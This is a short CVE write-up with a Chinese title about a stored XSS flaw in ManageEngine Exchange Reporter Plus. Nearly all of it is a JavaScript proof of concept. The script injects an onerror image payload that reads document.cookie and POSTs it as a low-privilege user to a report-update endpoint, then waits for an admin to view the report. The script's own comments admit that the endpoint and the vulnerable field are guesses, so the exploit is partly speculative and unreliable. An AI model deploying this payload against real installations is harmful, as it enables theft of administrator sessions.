CVE-2026-4108: ManageEngine Exchange Reporter Plus 存储型XSS漏洞

<!-- PoC Concept for CVE-2026-4108 Target: Non-Owner Mailbox Permission report parameter --> <script> // Example payload to be injected into the vulnerable field var xssPayload = '<img src=x onerror=alert(document.cookie)>'; function exploit() { // Assuming an API endpoint or form submission exists for updating permission reports // Low privilege user authenticates and submits the malicious data var data = { "reportType": "Non-Owner Mailbox Permission", "vulnerableField": xssPayload // Injection point }; fetch('/api/reports/update', { method: 'POST', body: JSON.stringify(data), credentials: 'include' }).then(response => { console.log('Payload injected successfully. Wait for Admin to view the report.'); }); } exploit(); </script>